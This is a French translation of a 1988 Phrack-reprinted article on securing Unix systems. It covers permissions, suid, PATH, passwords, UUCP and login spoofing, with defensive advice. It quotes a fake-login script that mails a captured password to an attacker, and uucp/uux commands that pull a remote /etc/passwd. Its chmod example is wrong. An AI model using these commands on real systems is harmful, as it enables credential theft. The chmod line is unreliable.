La sécurité d'Unix en question

Écrit par : Whisky.
Description : Sécuriser une plateforme Unix
Catégories : Unix, Phrack-Trad 18.
Téléchargements : Local.
                               ==Phrack Inc.==

                   Volume Deux, Édition 18, Article 7 sur 11

                   +--------------------------------------+
                   |   "La sécurité d'Unix en question"   |
                   |             Écrit par :              |
                   |               Whisky                 |
                   |          (Pays-bas, Europe)          |
                   +--------------------------------------+
                   |                  In                  |
                   |            Information Age           |
                   |       Vol. 11, N° 2, Avril 1988      |
                   |              Écrit par :             |
                   | Michael J. Knox et Edward D. Bowden  |
                   +--------------------------------------+

Note : Cet article m'a été envoyé par un ami en Hollande. J'ai estimé que
       cela serait une bonne idée de présenter cet article à la communauté
       des hackers sous Unix, afin de prouver que les hackers ne nuisent
       pas toujours aux systèmes, mais recherchent parfois des méthodes
       pour sécuriser les failles des systèmes existants.
                                                       -- Jester Sluggo !!

   Un certain nombre d'éléments ont favorisé la popularité du système
d'opération Unix dans le monde actuellement. Les facteurs les plus
notables sont sa portabilité parmi les plates-formes matérielles et
l'environnement de programmation interactif qu'il offre à ses
utilisateurs. En fait, ces éléments sont pour beaucoup dans l'évolution
réussie du système Unix sur les marchés commerciaux. (1, 2)
   Pendant que le système Unix prend de plus en plus de poids auprès de
l'industrie et du gouvernement, la nécessité de prendre en compte la
sécurité du système Unix  deviendra sans aucun doute impérative. Par
exemple, le gouvernement des États-Unis consacre plusieurs millions de
dollars par an au système Unix et au matériel qu'il soutient. (1) Les
conditions de sécurité gouvernementale nécessaires sont énormes, et on
peut seulement conjecturer sur les besoins futurs de sécurité dans
l'industrie.
   Dans cet article, nous aborderons quelques-uns des risques de sécurité
les plus fondamentaux du système Unix. On discutera des causes habituelles
de compromission du système Unix dans des secteurs tels que la protection
des fichiers, la sécurité des mots de passe, la gestion du réseau et les
menaces des hackers. En conclusion, nous aborderons les conséquences liées
à la sécurité du système sous Unix, et leur influence directe sur la
portabilité du système d'exploitation Unix.

SÉCURITÉ DES FICHIERS ET DES RÉPERTOIRES



   Dans l'environnement du système d'exploitation Unix, les fichiers et
les répertoires sont organisés dans une structure arborescente avec des
modes d'accès spécifiques.  Le réglage de ces modes, par le jeu des bits
de droits d'accès (en tant que chiffres octaux), est à la base de la
sécurité du système Unix.  Les bits de droits d'accès déterminent comment
les utilisateurs peuvent accéder aux fichiers et le type d'accès auquel
ils sont autorisés.  Il existe trois types de droits d'accès utilisateur
pour tous les fichiers et les répertoires sous Unix : le propriétaire, le
groupe et les autres.  Les droits d'accès à l'écriture, la lecture et
l'exécution pour chacun des types d'utilisateur sont aussi contrôlés par
les bits de droits d'accès (Schéma 1).  La flexibilité en matière de
sécurité des fichiers est avantageuse, mais elle a été critiquée comme
vecteur de failles dans la sécurité du système.

                        Permission modes
OWNER                        GROUP                    OTHERS
------------------------------------------------------------
rwx            :             rwx            :         rwx
------------------------------------------------------------
r=read  w=write  x=execute

-rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file
drwx------ 2 sam A1 2 May 01 12:01 directory	


Schéma 1.  Droits pour les fichiers et les répertoires : le fichier
affiche Bob en tant que propriétaire, avec un droit d'accès en lecture et
en écriture.  Le groupe a un droit d'accès en écriture, tandis que les
autres ont le droit de lire et d'exécuter.  Le répertoire est sécurisé,
avec des droits d'accès ne permettant pas la lecture, l'écriture ou
l'exécution pour le groupe et les autres.


   Puisque le mécanisme de protection des fichiers est si important dans
le système d'exploitation Unix, il est évident qu'un réglage approprié des
bits de droits d'accès est requis pour une sécurité globale.  Hormis
l'ignorance de l'utilisateur, les cas de compromission de fichier les
plus communs sont dus au réglage par défaut des bits de droit d'accès à
la création des fichiers.  Pour certains systèmes, ce réglage par défaut
est l'octal 644, ce qui signifie que seul le propriétaire du fichier peut
y écrire et y lire, pendant que tous les autres ne peuvent qu'y accéder
en lecture.  (3) Dans nombre d'environnements ouverts, ceci peut être
acceptable.  Cependant, au cas ou il existe des données sensibles,
l'accès en lecture pour les autres devrait être désactivé. La commande
umask répond en fait à cette exigence. 
   Un réglage conseillé d'umask à 027 activerait tous les droits d'accès
pour le propriétaire du fichier, ôterait le droit d'écriture au groupe et
les tous les droits pour les autres (octal 750).  En insérant cette
commande umask dans le fichier .profile ou .login d'un utilisateur, le
réglage par défaut sera écrasé par le nouveau paramétrage à la création
d'un fichier.	
   La commande CHMOD peut être employée pour modifier les réglages des
droits d'accès des fichiers et des répertoires.  Exécutez la commande
suivante,

chmod u+rwd,g+rw,g-w,u-rwx file

donnera au fichier les mêmes protections que l'umask précédent (octal
750). Les bits de droits d'accès peuvent être modérés plus tard avec
chmod, mais du moins au commencement, la structure des fichiers peut être
sécurisée en utilisant umask de manière restrictive.
   En utilisant de façon responsable des commandes telles que umask et
chmod, les utilisateurs peuvent accroître la sécurité de leur système de
fichiers.  Le système Unix, cependant, limite la sécurité définie par
l'utilisateur aux seuls droits d'accès propriétaires, groupes et tous les
autres.  Ainsi, le propriétaire du fichier ne peut indiquer des droits
d'accès aux fichiers d'un utilisateur spécifique.  Comme l'ont précisé
Kowack et Healy, la granularité du contrôle de ce mécanisme (de sécurité
des fichiers) est souvent insuffisant en pratique (...), il n'est pas
possible de garantir à un utilisateur une protection en écriture pour un
répertoire tandis qu'on donne à un second des droits d'accès en lecture
pour le même répertoire. (4) Les listes de droits d'accès dans le style
de Multics pourraient se révéler une extension utile à la sécurité des
fichiers du système Unix.
   En tenant compte des vulnérabilités des droits d'accès, les
utilisateurs devraient porter un soin particulier aux fichiers et
répertoires qu'ils administrent, et corriger les droits d'accès quand
cela est possible.  Même avec les limites de la conception du mode de
granularité, suivre une approche prudente rendra la structure de votre
système de fichiers sous Unix plus sécurisée.


SUID ET SGID

Le set user id (suid) et le set group id (sgid) identifient la paternité
d'un utilisateur et d'un groupe sur un fichier. En plaçant les bits de
droits d'accès suid ou sgid sur un fichier exécutable, d'autres
utilisateurs peuvent obtenir un accès aux mêmes ressources (par
l'intermédiaire du fichier exécutable) comme le propriétaire réel du
fichier.

Par exemple :

Supposons que le programme bob.x de Bob soit un fichier exécutable
accessible aux autres.  Quand Mary exécute bob.x, Mary devient la
nouvelle propriétaire du programme.  Si pendant l'exécution du programme,
bob.x demande à accéder au fichier browse.txt, alors Mary doit avoir des
droits d'accès en lecture ou en écriture antérieurs  sur browse.txt. 
Cela donnerait à Mary et à tous les autres un accès total sur le contenu
de browse.txt, même si elle n'exécute pas bob.x.  En activant le bit suid
sur bob.x, Mary aura les mêmes autorisations d'accès à browse.txt que le
réel propriétaire du programme, mais elle n'aura accès à browse.txt que
pendant l'exécution de  bob.x.  Par conséquent, en ajoutant suid ou sgid,
on évitera d'afficher malencontreusement des fichiers tels que browse.txt.

   Bien que ce dispositif semble offrir un contrôle d'accès substantiel
au système de fichiers sous Unix, il n'est pas exempt d'un défaut majeur.
 Il est toujours possible que le super-utilisateur (l'administrateur du
système) puisse avoir un fichier accessible en écriture pour les autres
pour lequel est aussi activé le suid.  En modifiant le code du programme
(un hacker par exemple), un tel fichier exécutable permettrait à un
utilisateur de devenir administrateur.  En très peu de temps, cet intrus
pourrait compromettre complètement la sécurité du système et le rendre
inaccessible, y compris aux autres administrateurs. Ainsi que Farrow (5)
le souligne, "(...) avoir une copie set user id d'un shell dont le
propriétaire est root est meilleur que de connaître le mot de passe root".
   Pour corriger cette faille de sécurité, les fichiers suid accessibles
en écriture devraient être recherchés et supprimés par l'administrateur
du système.  Le signalement de tels fichiers par les utilisateurs normaux
est aussi essentiel pour corriger des brèches de sécurité existantes.

LES RÉPERTOIRES

La protection des répertoires est généralement un élément négligé dans la
sécurité des fichiers sous Unix.  Nombre d'administrateurs et
d'utilisateurs ignorent ce fait, selon lequel les répertoires publics
accessibles en écriture fournissent la plupart des moyens propres à
compromettre la sécurité d'un système Unix (6). Les administrateurs
inclinent à les rendre ouverts aux utilisateurs afin que ces derniers les
utilisent et accèdent aux fichiers publics et aux applications.  Cela
peut se révéler désastreux, car des fichiers et d'autres sous-répertoires
parmi des répertoires accessibles en écriture peuvent être déplacés et
remplacés par d'autres versions, même si les fichiers inclus ne sont pas
accessibles pour autrui en lecture ou en écriture.  Quand cela se
produit, un utilisateur sans scrupules ou un casseur de mot-de-passe peut
remplacer par un cheval de Troie une commande système fréquemment
utilisée (c'est-à-dire. ls, su, mail etc.....) 

Par exemple, imaginez que le répertoire /bin soit accessible en écriture.
L'assaillant pourrait d'abord supprimer l'ancienne version de su (avec
l'application rm) et ajouter alors son propre su factice, pour lire les
mots de passe des utilisateurs qui exécutent ce programme.	

Bien que les répertoires accessibles en écriture puissent menacer
l'intégrité du système, ceux accessibles en lecture peuvent être tout
autant redoutables.  Parfois, des fichiers et des répertoires sont
configurés pour que tout le monde  puisse les lire.  Ce subtil avantage
peut amener un dévoilement inopportun de données sensibles : cela devient
un sérieux problème quand des informations pertinentes sont divulguées à
un concurrent en affaires.

En règle générale, donc, l'accès en lecture et en écriture devrait être
interdit à tous, hormis les répertoires d'administration du système.  Les
droits d'accès en exécution permettrons l'accès aux fichiers nécessaires;
cependant, des utilisateurs devront nommer explicitement le fichier
auquel ils veulent accéder.  Ce procédé ajoute une certaine protection
aux répertoires non accessibles en lecture et en écriture.  Ainsi, une
commande telle que lp file.x dans un répertoire /ddr non accessible en
lecture affichera le contenu de file.x, tandis que ls/ddr n'affichera pas
le contenu de ce répertoire.

LA VARIABLE D'ENVIRONNEMENT PATH

PATH est une variable d'environnement qui pointe sur une liste de
répertoires, qui est recherchée quand un fichier est requis par un
processus.  L'ordre de cette recherche est indiquée par la séquence des
répertoires listés dans la variable PATH.  Cette variable est établie
lors de l'ouverture de session de l'utilisateur et elle est définie dans
les fichiers .profile ou .login à la racine du répertoire de
l'utilisateur [NDT : sur les systèmes actuels (en 2007), les fichiers
concernés sont .bash_profile et/ou .bashrc].

Si un utilisateur place le répertoire courant en première place dans le
PATH, alors les programmes du répertoire courant seront exécutés en
premier. Des programmes homonymes dans d'autres répertoires seront
ignorés.  Bien que l'accès aux fichiers et aux répertoires soient plus
aisés avec une variable PATH définie de cette manière, il peut exposer un
utilisateur à des chevaux de Troie préexistants.


   Pour illustrer ceci, supposons qu'un cheval de Troie, semblable au
programme cat, contienne une instruction qui donne des droits d'accès
privilégiés à un assaillant. Le programme cat factice est placé dans un
répertoire public /usr/his , dans lequel un utilisateur travaille souvent.
   À présent, si l'utilisateur dispose d'une variable Path avec en
premier le répertoire courant, et qu'il exécute la commande cat dans
/usr/his, le programme cat factice dans /usr/his sera exécuté mais non la
commande système cat située dans /bin.	

Afin d'éviter ce genre de type de violation du système, la variable Path
doit être correctement définie.  D'abord, si cela est possible, excluez
le répertoire courant en tant que premier élément dans la variable Path
et saisissez le nom complet du chemin quand vous invoquez des commandes
système Unix.  Ceci accroît la sécurité des fichiers, même s'il est moins
pratique de travailler avec .  Ensuite, si le répertoire courant doit
être inclus dans la variable Path, alors il devrait toujours se trouver
en dernier.  De cette manière, des programmes tels que vi, cat, su et ls
seront exécutés en premier depuis les répertoires systèmes tels que /bin
et /usr/bin avant de chercher dans le répertoire courant de l'utilisateur.

SÉCURITÉ DES MOTS DE PASSE

L'authentification des utilisateurs sous Unix s'exerce grâce aux mots de
passe personnels. Bien que des mots de passe ajoutent un niveau de
sécurité supplémentaire aux contraintes physiques, ils sont eux-mêmes
facteurs de la plupart des compromissions d'un système informatique.  Le
manque de conscience et de responsabilité des utilisateurs contribue
grandement à cette forme d'insécurité informatique.  Cela est vrai pour
de nombreuses installations informatiques, ou l'identification par mot de
passe, l'authentification et l'autorisation sont requis pour accéder aux
ressources - et le système d'exploitation Unix ne fait pas exception.	

Les informations de mots de passe dans nombre de systèmes à temps partagé
sont placées dans des fichiers à usage restreint et qui ne sont pas
habituellement lisibles par les utilisateurs.  Le système Unix diffère à
cet égard, puisqu'il permet à tous les utilisateurs d'avoir un accès en
lecture au fichier /etc/passwd (Schéma 2) ou sont stockés des mots de
passe chiffrés et d'autres informations sur les utilisateurs.  Bien que
le système Unix applique une méthode de chiffrage dite à sens unique, et
dans la plupart des systèmes une version de norme de chiffrement de
données modifiée (DES, data encryption standard, norme de chiffrement de
données), on connaît des méthodes pour casser des mots de passe. Parmi
ces méthodes, les attaques par brute-force sont généralement les moins
efficaces, tandis que les techniques utilisant des heuristiques (comme
des bons essais et des informations sur le mots de passe) ont tendance à
réussir.

Par exemple, le fichier /etc/passwd contient des informations utiles
telles que le nom d'utilisateur et des champs de commentaire.  Les noms
d'utilisateur sont particulièrement fructueux pour les casseurs de mot de
passe, puisque nombre d'utilisateurs emploient des variantes de ces noms
pour leur mots de passe (orthographe inverse, ajout d'un seul chiffre,
etc.).  Le champ de commentaire contient souvent des éléments tels qu'un
nom de famille, un prénom, une adresse, un numéro de téléphone, le nom
d'un projet et ainsi de suite.  Citons Morris et Grampp (7) et leur
article phare au sujet de la sécurité sous Unix :

  [Au sujet des noms d'utilisateur]

  Les auteurs ont étudié quelques douzaines de machines locales, en
  utilisant comme mots de passe d'essai une collection des vingt prénoms
  de femme les plus communs, chacun suivi par un seul chiffre.  Le nombre
  total des mots de passe essayé était, donc, deux cent.  Au moins un de
  ces deux cent mots de passe s'est avéré être un mot de passe valide sur
  chaque ordinateur étudié.

  [au sujet des champs de commentaire]

  (...) Si un assaillant sait quelque chose au sujet des utilisateurs
  d'un ordinateur, il s'offre alors nombre de nouvelles opportunités.
  Noms de famille et d'amis, les numéros d'immatriculation de véhicules,
  les loisirs et les animaux domestiques sont en des catégories
  particulièrement productives à essayer, notamment dans le cas
  improbable ou un balayage purement mécanique du fichier des mots de
  passe s'avèrerait décevant.


Ainsi, il est fort probable qu'un assaillant persévérant trouvera des
informations sur les utilisateurs dans le fichier /etc/passwd. Avec ceci
à l'esprit, il est évident qu'un fichier de mots de passe ne devrait être
lisible par personne hormis ceux qui s'occupent de l'administration du
système.	

root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin
mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin

Schéma 2.  Le fichier /etc/passwd.  Observez les champs de commentaire
relatifs aux termes soulignés.

La suppression des droits d'accès en lecture du fichier  /etc/passwd ne
résout pas entièrement le problème de base avec les mots de passe. 
Instruire les utilisateurs et les administrateurs est nécessaire pour
garantir une utilisation correcte des mots de passe. D'abord, les bons
mots de passe comptent au moins six caractères, ne contiennent pas
d'informations personnelles et comprennent quelques caractères
non-alphabètiques  (en particulier des commandes) : 4score, my_name,
luv2run (8).  Ensuite, les mots de passe devraient être changés
régulièrement tandis que les utilisateurs devraient éviter d'alterner
entre deux mots de passe.  Des mots de passe différents pour des
ordinateurs et des fichiers distincts contribueront à protéger des
informations sensibles.

En conclusion, les mots de passe ne devraient jamais être accessibles aux
utilisateurs non-autorisés. Réduire l'ignorance des utilisateurs quant au
choix de mots de passe faibles rendra inévitablement le système plus sûr.

SÉCURITÉ DU RÉSEAU

Le système UUCP (Unix to Unix Copy, utilitaire de connexion UUCP) .

Le réseau de système Unix le plus commun s'appelle le système UUCP, qui
est un ensemble de programmes qui effectue des transferts de fichiers et
l'exécution de commandes entre des systèmes distants. (3) Le problème
avec le système UUCP est que les utilisateurs sur le réseau peuvent
accéder aux fichiers d'autres utilisateurs sans autorisation d'accès. 
Comme Nowitz le mentionne ici (9)

   Le système UUCP, laissé sans restrictions, autorisera n'importe quel
   utilisateur venant de l'extérieur à exécuter des commandes et copier
   de l'intérieur ou de l'extérieur n'importe quels fichiers avec des
   droits d'accès en lecture/écriture pour un utilisateur d'uucp.  Il
   appartient aux utilisateurs d'un site d'en prendre compte, et de
   prendre les précautions qui s'imposent.

Ceci souligne l'importance d'une implémentation correcte par
l'administrateur du système.

Il faut prendre en compte quatre commandes système UUCP quand on examine
la sécurité du système sous Unix.  La première est uucp, une commande
employée pour copier des fichiers entre deux systèmes Unix.  Si uucp
n'est pas correctement mis en oeuvre par l'administrateur système,
n'importe quel utilisateur extérieur peut exécuter des commandes à
distance et copier des fichiers depuis un autre utilisateur de session. 
Si on connaît le nom du fichier sur un autre système, on pourrait
utiliser la commande uucp pour copier des fichiers de ce système sur le
système de l'attaquant.

Par exemple :

%uucp system2!/main/src/hisfile myfile

copiera le fichier hisfile se trouvant dans le répertoire /main/src de
system2 dans le fichier myfile du répertoire local courant.  Si des
restrictions de transfert de fichiers existent sur l'un ou l'autre des
systèmes, hisfile ne sera pas envoyé.  S'il n'y a aucune restriction,
n'importe quel fichier pourrait être copié depuis un utilisateur
distant&mdash;y compris le fichier de mots de passe.  La commande
suivante copierait le fichier /etc/passwd du système distant dans le
fichier local merci :

 %uucp system2!/etc/passwd merci

Les administrateurs systèmes peuvent résoudre le problème uucp en
limitant les transferts de fichier  uucp dans le répertoire
/user/spool/uucppublic. (8) Si on essaye de transférer un fichier
ailleurs, un message affichera accès distant au chemin ou au fichier
refusé et il n'y aura pas de transfert de fichier.

Considérons à présent la seconde commande système UUCP uux.  Sa fonction
consiste à exécuter des commandes sur des ordinateurs distants sous Unix.
On l'appelle exécution de commandes à distance et elle est le plus
souvent employée pour envoyer des courriers entre des systèmes (mail
exécute la commande uux en interne).

L'aptitude à exécuter une commande vers un autre système introduit un
sérieux problème de sécurité si l'exécution de commandes à distance n'est
pas limitée.  Par exemple, un système ne devrait pas permettre aux
utilisateurs d'un autre système d'exécuter ce qui suit :	

%uux "system1!cat&#60;/etc/passwd>/usr/spool/uucppublic"

ce qui emmènerait system1 à envoyer son fichier /etc/passwd dans le
répertoire uucppublic de system2.  L'utilisateur de system2 aurait  à
présent accès au fichier de mot de passe.  Par conséquent, on devrait
autorisé seulement quelques commandes d'accès à distance. Souvent la
seule commande autorisée à exécuter uux est rmail, le logiciel de
courrier électronique à usage restreint.	

L'application uucico est la troisième fonction système UUCP (cico : Copy
In / Copy Out). Elle effectue le véritable travail de communication.  Les
commandes uucp ou uux n'invoquent pas réellement d'autres systèmes ; au
lieu de cela, elles sont mises en file d'attente et l'application uucico
démarre le processus distant.  L'application uucico utilise le fichier
/usr/uucp/USERFILE pour déterminer quels fichiers un système distant peut
envoyer ou recevoir.  Les contrôles de fichiers licites dans USERFILE
sont à la base de la sécurité.  Ainsi, l'administrateur système devrait
contrôler soigneusement ce fichier.

En outre, USERFILE contrôle la sécurité entre deux systèmes Unix en
autorisant la définition d'un drapeau de procédure de rappel.  Par
conséquent, un certain degré de sécurité peut être obtenu en exigeant
d'un système de vérifier si le système distant est licite avant que se
produise une procédure de rappel.


Uuxqt est la dernière fonction UUCP.  Elle contrôle l'exécution de
commande à distance.  L'application uuxqt emploie le fichier
/usr/lib/uucp/L.cmd pour déterminer quelles commandes fonctionneront en
réponse à une requête d'exécution à distance.  Par exemple, si on
souhaite employer l'outil de courrier électronique, alors le fichier
L.cmd contiendra la ligne rmail.  Puisque uuxqt détermine quelles
commandes auront l'autorisation d'être exécutées à distance, des
commandes pouvant compromettre la sécurité du système ne devraient pas
être incluses dans L.cmd.

APPELER LE SYSTÈME UNIX

Outre les commandes réseau UUCP, on devrait aussi prendre garde à la
commande cu (appel au système Unix).  Cu autorise un utilisateur distant
à appeler un autre système d'exploitation.  Le problème avec cu est qu'un
utilisateur d'un système peu sûr peut utiliser cu pour se connecter à un
système plus sécurisé et ensuite installer un cheval de Troie sur ce
système.  Il est évident que cu ne devrait pas être utilisé d'un système
plus faible à un système plus fort, et il appartient à l'administrateur
système de s'assurer que ceci n'arrive jamais.	

RÉSEAUX LOCAUX

Avec le nombre croissant d'ordinateurs fonctionnant sous Unix, on doit
réfléchir aux problèmes des réseaux locaux.  Puisque les réseaux locaux
sont conçus pour transmettre rapidement des fichiers entre des
ordinateurs, la sécurité n'a pas été une priorité pour beaucoup de
réseaux locaux, mais il existe des réseaux locaux sécurisés en voie de
développement.  Il est du ressort de l'administrateur système d'éviter
les risques de sécurité en matière de réseaux.

D'AUTRES ZONES DE COMPROMISSION

Il existe de nombreuses méthodes employées par les hackers pour obtenir
un accès dans les systèmes d'un ordinateur.  Sous Unix, les chevaux de
Troie, les usurpations et les suids sont les armes principales des
intrus.	

Les chevaux de Troie sont des fragments de code ou des scripts shell qui
jouent habituellement un rôle utile mais une fois activés par un
utilisateur confiant, ils exécutent des tâches inattendues en faveur de
l'intrus. Parmi les différents chevaux de Troie, c'est l'outil
d'usurpation d'identité su qui se révèle le plus dangereux pour le
système Unix.

Souvenez-vous que le fichier /etc/passwd est lisible pour les autres, et
contient également des renseignements sur tous les utilisateurs&mdash;
même l'utilisateur root.  Pensez à ce qu'un intrus pourrait faire si il
était en mesure de lire ce fichier et de trouver un utilisateur root avec
un répertoire accessible en écriture.  Il pourrait facilement placer un
su factice qui renverrait le mot de passe root à l'assaillant.  Un tel
cheval de Troie peut souvent être évité quand diverses mesures de
sécurité sont prises, telles que, un fichier /etc/passwd avec des droits
d'accès en lecture limités, un contrôle des répertoires accessibles en
écriture et une variable PATH correctement définie.

Un spoof est fondamentalement un canular qui fait croire à une victime
crédule qu'une fonction d'usurpation d'ordinateur est réellement une
opération système.  Le piège de l'ouverture de session via un terminal
est une astuce très populaire sur nombre de systèmes d'ordinateur.  En
affichant un format d'ouverture mensonger, un assaillant est en mesure de
capter le mot de passe d'un utilisateur.

Imaginons un utilisateur root ayant un instant quitté son poste.  Un
assaillant pourrait rapidement installer un processus d'ouverture de
session tel que celui évoqué par Morris and Grampp (7) :

  echo -n "login:"
  read X
  stty -echo
  echo -n "password:"
  read Y
  echo ""
  stty echo
  echo %X%Y|mail outside|hacker&#38;

  sleep 1
  echo Login incorrect
  stty 0>/dev/tty

On note que le mot de passe root d'un utilisateur est envoyé par courrier
à l'assaillant qui a complètement compromis le système Unix.  Le terminal
factice d'ouverture de session agit comme si l'utilisateur avait saisi
incorrectement le mot de passe.  Il transfère alors le contrôle au
processus stty, ne laissant de ce fait aucune trace de son existence.

La prévention d'usurpation, comme la plupart des risques de sécurité,
doit commencer avec l'éducation des utilisateurs.  Mais une remèdes
immédiat est parfois nécessaire avant que l'éducation puisse être
prodiguée.  En matière d'usurpation d'ouverture de session via un
terminal, il existe quelques programmes de verrouillage du clavier qui
offrent une protection à l'ouverture d'une session lorsque les
utilisateur s'absentent de leurs terminaux.  (8, 10) Ces programmes de
verrouillage ignorent les interruptions engendrées par le clavier et ils
attendent que l'utilisateur saisisse un mot de passe pour revenir au
terminal de session.

Puisque le mode suid a été déjà examiné dans la section mot de passe,
nous indiquons simplement quelques solutions pour suid ici.  D'abord, des
programmes suid ne devraient être utilisés que s'il n'y a pas d'autres
alternatives.  Les suid ou les sgids non contrôlés peuvent conduire à
compromettre le système.  En second lieu, un shell restreint devrait être
attribué à un processus qui migre d'un processus suid à un processus
enfant.  La raison de ceci est qu'un processus enfant non-privilégié
pourrait hériter des fichiers privilégiés de ses parents.  En conclusion,
les fichiers suid devraient être accessibles en écriture à leurs
propriétaires seulement, sinon d'autres pourraient avoir un accès leur
permettant d'écraser le contenu des fichiers.

On peut voir qu'en appliquant quelques principes fondamentaux de
sécurité, un utilisateur peut éviter les chevaux de Troie, les spoof et
les suids inadéquats.  IL existe plusieurs autres techniques employées
par des assaillants pour compromettre la sécurité du système, toutefois
l'emploi d'un bon jugement et l'éducation de l'utilisateur peuvent
contribuer grandement à éviter ces problèmes.

CONCLUSION

Au cours de cet article, nous avons discuté des approches
conventionnelles à la sécurité du système Unix par le biais de la
pratique de la gestion des fichiers, de la protection des mots de passe
et du réseau. Bien qu'on puisse dire que l'éducation de l'utilisateur est
primordiale pour le maintien de la sécurité du système Unix (11), des
erreurs humaines favoriseront un certain degré d'insécurité dans le
système.  Des avancées dans les mécanismes de protection grâce à des
applications mieux codées (12), un contrôle centralisé des mots de passe
(13) et des dispositifs d'identification pourraient favoriser une
meilleure sécurité Unix.	


La question qui se pose à présent repose sur l'avenir du système
d'opération Unix. Les systèmes Unix existants peuvent-ils s'adapter aux
exigences du gouvernement et de l'industrie en matière de sécurité ? La
réponse est négative, au moins pour les projets de sécurité
gouvernementaux. D'après le Orange Book (14), une classification de la
sécurité des systèmes informatiques évaluée par le gouvernement, le
système Unix atteint seulement le degré de sécurité du critère C1.  Un
système C1, dont l'estimation de sécurité est basse (D étant la plus
basse) assure seulement une protection de sécurité discrétionnaire (DSP)
contre les navigateurs et les utilisateurs non-programmeurs. C'est
clairement insuffisant quand il s'agit de la Défense ou d'entreprises
privées.  Il est nécessaire de procéder à des changements fondamentaux en
matière de sécurité sous Unix.  Cela a été reconnu par au moins trois
entreprises, AT&T, Gould et Honeywell (15, 16, 17). Gould, en
particulier, a effectué des modifications essentielles sur le noyau et le
système de fichier afin de produire un système exploitation Unix évalué à
C2.

Pour réaliser ceci, cependant, ils ont du sacrifier une partie de la
portabilité du système Unix.  On espère que dans un proche avenir, un
système Unix classé A1 sera mis en application, sans perdre toutefois son
illustre portabilité.

RÉFÉRENCES

1  Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986)
   pp 50-63
2  Waite, M et al. "Unix system V primer" USA (1984)
3  Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986)
   pp 113-128
4  Kowack, G and Healy, D "Can the holes be plugged?" Computerworld
   Vol 18 (26 September 1984) pp 27-28
5  Farrow, R "Security issues and strategies for users" Unix/World
   (April 1986) pp 65-71
6  Farrow, R "Security for superusers, or how to break the Unix system"
   Unix/World (May 1986) pp 65-70
7  Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell
   Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672
8  Wood, P H and Kochan, S G "Unix system security" USA (1985)
9  Nowitz, D A "UUCP Implementation description:  Unix programmer's manual
   Sec. 2" AT&T Bell Laboratories, USA (1984)
10 Thomas, R "Securing your terminal: two approaches" Unix/World
   (April 1986) pp 73-76
11 Karpinski, D "Security round table (Part 1)" Unix Review
   (October 1984) p 48
12 Karpinski, D "Security round table (Part 2)" Unix Review
   (October 1984) p 48
13 Lobel, J "Foiling the system breakers:  computer security and access
   control" McGraw-Hill, USA (1986)
14 National Computer Security Center "Department of Defense trusted
   computer system evaluation criteria" CSC-STD-001-83, USA (1983)
15 Stewart, F "Implementing security under Unix" Systems&Software
   (February 1986)
16 Schaffer, M and Walsh, G "Lock/ix:  An implementation of Unix for the
   Lock TCB" Proceedings of USENIX (1988)
17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs,
   Government System Division, USA (August 1987)

[Traduit par deny]
Racourcis

Utilisateurs

La sécurité d'Unix en question
